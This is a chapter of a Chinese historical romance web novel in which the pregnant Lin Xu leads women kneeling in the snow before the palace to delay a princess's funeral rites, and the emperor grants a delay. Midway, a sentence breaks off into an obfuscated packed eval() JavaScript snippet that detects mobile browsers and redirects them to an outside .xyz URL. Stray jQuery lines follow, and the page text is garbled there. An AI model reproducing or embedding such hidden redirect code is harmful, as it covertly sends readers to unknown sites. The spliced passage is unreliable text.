只昔遥遥 作品

206. 跪求

林栩和窦言洵几乎是丑时末才踩着星光回去,又因为惦记着次日一大早的计划,几乎彻夜未眠。


窦言洵白日奔波劳碌,夜里又历经此事,已是身心俱疲,但没有什么比得过她的安危更让他揪心。这种心底忽上忽下的感觉,他再也不想经历了。


他自身后将她揽入怀中,轻轻抚着她隆起的小腹,似乎想要努力地安抚那个还未曾见过面的宝宝。


而林栩则感受着他胸膛的温度,几乎让人忘记所有烦忧,意识浑沌之际,却听见他在耳边似乎低低微叹一声:“不要再吓我了……”


他的声音几乎要淹没在漆黑寂静的夜色中,却夹带着无限的担忧。


“你想做什么,我都答应你。”又接着柔声道:“也请你答应我,无论如何,都要照顾好我们俩的孩子,不能逞强……”


她在朦胧睡意中缓缓点了点头。


待晨起时,两人则眼下皆是一片鸦青之色。竹苓给她梳好妆发,又换上一身低调素净的墨蓝软缎,外面再披上厚厚的大氅,而窦言洵亦是一身朝服,外披着她做给他的那件斗篷。如今天冷,她又让人在里侧夹了一层棉,也便更为御寒。


窦言洵走上前,双手捧起她的脸庞,轻轻地吻了吻她的眉心。神情无比珍重,似乎想要将她那里不自觉紧皱的忧虑一一抹去。


他在心里暗暗下定决心。陪她做一切她想做之事,并永远护她周全。


而与此同时,沐京的大街小巷中,不知何时出现了一批目光坚毅,身穿戎装的女子,各个高盘发髻,却好像私自约定好了一般,口中铮铮唱着娘子歌,逐渐汇聚在主街之上。


.


五更将尽之时,鼓声彻响天际,文武百官们皆身披朝袍、整冠冠带,自九道御道缓缓自西而至。


然而待他们步至丹墀之下,尚未再度听见鼓乐声,便见不远处风雪之中,黑压压的一片密集人影,以及低低衣袂在风雪中摩挲之声。


众人纷纷止下脚步,神情愕然地看见那一幕。


只见漫天风雪之间,一女子素裳而跪,身上已落满飞雪,而自她身后,人影已如海浪般密集而整肃。


而那些人影,竟也皆为女子!只见她们各个衣色素淡,乌发高束,额上沾染风雪不拭,各个神情肃穆。如此列跪如山,衣袂如云的模样,在瑟瑟风声中,犹如万簌无声的涛浪让人震撼。


一列缓行来上朝的臣子之间,身着紫色圆领官袍的林甫在人群中站定脚步,他顿了顿身子,神色骤变,不可置信地看着远处自己那再熟悉不过的身影——


为首的女子,竟然是他的女儿!


林甫只觉得双眼一黑,险些便要站立不稳。


栩儿……栩儿怎么如此糊涂!她要做什么?!她不是还怀有身孕么?怎么能在此胡闹!林甫攥紧了双拳,他膝下一直只有这么一位宝贝女儿,即便如今郡主和郢之生死未卜,他亦心中难安,但栩儿怎么能如此冒险?这可是金銮殿前,万千臣子寻常大气都不敢出的地方,稍有不慎,便是满盘皆输!


霎时间,雪风卷起他宽大的袍角,林甫双眼中惊色与怒意交杂,喉头微动,已欲大步而出,想要趁尚未发生之际,阻止这一切。


未行半步,他的身子便被身后一只手轻轻拉住。与此同时,一道男子的低沉声响起,“岳父大人。”


林甫缓缓侧首看去。


迎着风雪的来人正是窦言洵,如今大昱人人争相巴结的朝堂新贵。只见他眉眼清峻,双眉紧皱,用只有他二人才听得到的声音低低说。“岳父大人,栩栩是为了郡主争一纸清白,请您让她去吧。”


林甫怒气更盛,只觉得窦言洵如此儿戏,更是满心懊悔自己昔日怎么就能纵容栩儿嫁给这个顽劣之辈,如今,竟不惜看着她冒着生命的代价!


“她是我的女儿,要是出了什么事……”


窦言洵双眼沉静,宛如静雪落于乱风之间,神情坚毅:


“您请放心,我将栩栩性命看得比自己看重。但凡,她今日有任何闪失,我窦言洵会为替她赴死。”


林甫复抬起头,重新看了眼前的窦言洵一眼。只听见窦言洵低声请求,“这是她心之所愿,我只想成全她的豪情与忠义。”


林甫布满细纹的眼角微微颤了颤,他再度望向雪中那道清瘦的跪影,张了张口,却良久不语。风雪扑面,他终是缓缓将那欲出的步,收了回去。


而此时,围观的群臣中,亦响起一片窃窃私语声。


并有一声老臣嗤笑响起:“女流跪地,哭诉请命,当这是哪里去了,谁家大门前搭着的戏台么?朝政大事岂容一介妇人干扰?当真是荒唐至极!”头发花白的老臣一拂衣袖,鄙夷地摇了摇头。


而林栩只是垂首跪着,静默地承受着四处看向自己那些——或不解,或震惊,或鄙夷,或担忧的目光。


天光未破,窗外只映得雪光一线,落在地上似一片碎银浮烛,却格外清寒彻骨。殿中几盏金色宫灯尚未曾添油,火光低伏如吐息,映得柱影如墨,四周一片寂静,便是连一块惨败的香灰落地都能听见。


忽然有一名内监急匆匆地自殿外奔入,打破平静。内监自知失礼,然而事发突然,只能如此,只见他低着头,身子尚未及前便已慌忙伏地请罪,气不成声:


“启禀陛下……宫门外……不知为何竟有一大批女子跪着,似是为了请求今日坤柔郡主祭礼暂缓一事,现如今已有数十名女子响应,接在其后。奴才听闻这些女子都口口声声称曾受过郡主旧恩,如今皆已跪满丹墀玉阶之下……”


垂帘之后,有另外两名内侍正恭恭敬敬地服饰皇帝更衣,闻此,更是愈发大气都不敢出。


而大昱当朝皇帝肃帝则端立于朝榻之前。近五十岁的年纪,脸庞饱经沧桑,仍然精神矍铄。他身上素绸制成的朝服半披,广袖尚未束起,掌中则半握着一方香木带钩。


肃帝垂眸看着内侍恭恭敬敬地为自己理好朝服,神色却十分平静,只淡淡开口:


“是太子允她们入宫的?”


内监只觉得额头上已有数颗汗珠落了下来,却也不敢乱动,只闭了闭眼睛,顿首道:


“……奴才听闻,正是太子殿下今晨召见此名女子,又命宫门不得驱赶,暂停乐鼓半刻……群臣们眼下见此情状,皆尚未入殿……”


肃帝沉默半息,缓缓将衣带系好,顺手扬了扬身上并不存在的尘灰。他低下头,睇了地上跪伏的内监一眼。


“赵涪,你如今倒是愈发会当差了。”


名叫赵涪的内监正是如今金銮殿肃帝身边的掌事内官,平常总管肃帝身边一切大小内务。闻言忙道不敢。


肃帝横眉一皱,打断了他喋喋不休的哀求,扬了扬手,“宣太子。”


末了,又道:“那为首女子,是何许人也?”


…………


林栩跪在雪地里,只觉得双膝很快便麻木了。即便她早有准备,知道今日会是一场持久战,竹苓还特地给她的膝盖


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558375|150938||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


处缝了好几重羊绒护膝,即便如此,当四周漫天的冷雪不住地拍在她身上时,她还是忍不住浑身渐渐发抖起来。


而在她的身后,静跪着的那一众女子,即便身形单薄,却也各个神情凛然,若非昨夜蒋衡提议在沐京临时搜寻一些从前受过郡主恩惠之人,尤以女子为主,方能显现坤柔郡主在一众女子之间的领袖和号召之力。


即便如此,当今晨林栩出发前,看到眼前聚集着越来越多的瘦弱女子时,也不免十分动容。廖珚……天底下不愿相信你已死的人原来不止只有我一个啊……


而当她在人群中看见一张十分熟悉的面孔时,林栩还是不免惊愕。


她没想到宋皎灵不知从哪里得了消息,竟也一大早天未亮便混在那些女子之间。她一身素衣,未施粉黛,从来都是以清秀可人的容貌示人的她,头一回神情最是坚韧。


宋皎灵瞥一眼林栩错愕的目光,只淡淡吐出几个字,“我是为了郡主而来。”


林栩闻言也笑,时过境迁,两人从前在学堂之中因伴读之争而结下的梁子,似乎转瞬也烟消云散了。她们静默地跪在殿前,很快便已周身冰冷,林栩闭上双眼,只希冀自己腹中的孩儿不要过多责怪自己。她已是无可奈何……只能出此下策……


她在人群中看见了满脸哀痛的爹爹,目光沉重怜惜的窦言洵,甚至身穿铠甲,率领一众护卫站在廊下,神情莫测的段锦儒,以及身形矮胖,连官服都比旁人厚实一些,在雪中瑟缩着脖子的窦怀生……


围观的群臣越来越多,这些人起初只是一脸冷漠地看着她,而后却又渐渐被她的坚韧而打动,面露几分不忍。


而不知过了多久,金碧辉煌的金銮殿内忽然有一身影走了出来。


那是一名身穿绛紫宫袍,手握拂尘的内监,声音尖细,双目半闭:


“金銮阶下素心请命,诸位心意陛下已明。今陛下宽宥,特念及郡主旧恩与诸位之诚,便将原定于辰时举行的郡主祭典暂缓数日。诸位多跪寒露,意重情深,然天寒路远,陛下有言——此后之事,自有公断,不劳诸位凡心多忧。”


“今令众人即刻退下,宫外休整。此刻宣众臣进殿,其余人等不得干扰朝政,亦无需再跪——”


太监悠长的声音响彻云霄。


此言一出,众人皆是纷纷出了一口气,而此前对这帮人心有不满,尚还等着看热闹的一些朝臣也不禁颇为失望——


一向以手段残酷,御下极严的肃帝何时有过这般忍耐宽宏之时了?


四周脚步声起,林栩则随着身后的女子们缓缓站起身来。


她心底积压已久的一块石头终于轻轻放了下来。虽然此事尚未定论,但还好,有了皇帝的金口玉言,既然今日丧仪暂缓,便能再为寻找到廖珚和梁徵元的下落多拖延出时日来,当真是再好不过!


她强压心中振奋,跪了许久,双膝已是麻木,即便站起身来,也十分迟缓。她隔着众人,向爹爹和窦言洵看了一眼,双人似乎皆松了一口气,爹爹更是双眼泛红,脸色惨白,似乎时刻便要晕倒过去。


林栩按下心头愧疚,刚要随着众人推下,身边却不知何时无声无息地走来两名宫人,在她耳边低声道:“陛下有令,请窦夫人便殿稍候。”


言罢,不由她分说,二人便自衣袍之下,将她压着向前走去,宫袍宽大,外人丝毫看不出任何异样,而林栩却全然挣扎不得,只能脚步跟随,向那雪中屹立,闪着无比刺眼光芒的金銮殿走去。